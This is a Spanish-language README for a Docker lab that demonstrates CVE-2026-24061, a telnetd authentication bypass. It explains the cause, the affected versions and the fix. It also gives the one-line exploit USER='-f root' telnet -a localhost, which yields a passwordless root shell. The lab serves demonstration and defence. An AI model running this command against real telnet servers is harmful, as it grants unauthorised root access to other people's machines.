
Este es un PoC simple que te permite resaltar la gravedad del bug de Telnet actualmente activo y explotado que está ocurriendo en este momento. Por qué la gente sigue usando Telnet... no lo entiendo.
Un laboratorio Docker para demostrar CVE-2026-24061 — una vulnerabilidad crítica de omisión de autenticación en GNU inetutils telnetd que permaneció sin parchear durante 11 años.
Telnetd pasa la variable de entorno USER directamente a /usr/bin/login sin saneamiento. El binario login tiene una bandera -f que omite la autenticación (destinada a sesiones pre-autenticadas). Al establecer USER='-f root', un atacante engaña a login para que conceda acceso root sin contraseña.
Versiones afectadas: GNU inetutils 1.9.3 (marzo de 2015) hasta 2.7 Puntuación CVSS: 9.8 (Crítica) Solución: Actualizar a inetutils 2.8+
# Construir la imagen
docker build -t telnetd-exploit .
# Ejecutar el contenedor (te lleva a una shell como user1)
docker run --rm -it telnetd-exploit
# Explotación — obtener root sin contraseña
USER='-f root' telnet -a localhost
Aterrizarás en una shell root. Ejecuta whoami para confirmarlo.
1. El cliente se conecta con: USER='-f root' telnet -a localhost
2. telnetd recibe la variable de entorno USER: "-f root"
3. telnetd ejecuta: /usr/bin/login -f root
4. login interpreta -f como "omitir autenticación, el usuario está pre-verificado"
5. El atacante obtiene una shell root — sin necesidad de contraseña
La bandera -f es legítima — está destinada a escenarios donde un usuario ya está autenticado (por ejemplo, desde una sesión local de confianza). El error es que telnetd no saneamiento la variable USER antes de pasarla a login, permitiendo a atacantes remotos inyectar la bandera.
A enero de 2026:
Incluso sin este error, Telnet transmite todo en texto plano — incluidas las contraseñas. Usa SSH en su lugar.
| Protocolo | Cifrado | Autenticación |
|---|---|---|
| Telnet | Ninguno | Texto plano |
| SSH | Sí | Clave/Contraseña |
.
├── Dockerfile # Construye el contenedor Debian vulnerable
├── docker-entrypoint.sh # Inicia inetd, cambia a user1
└── README.md
Laboratorio basado en leonjza/inetutils-telnetd-auth-bypass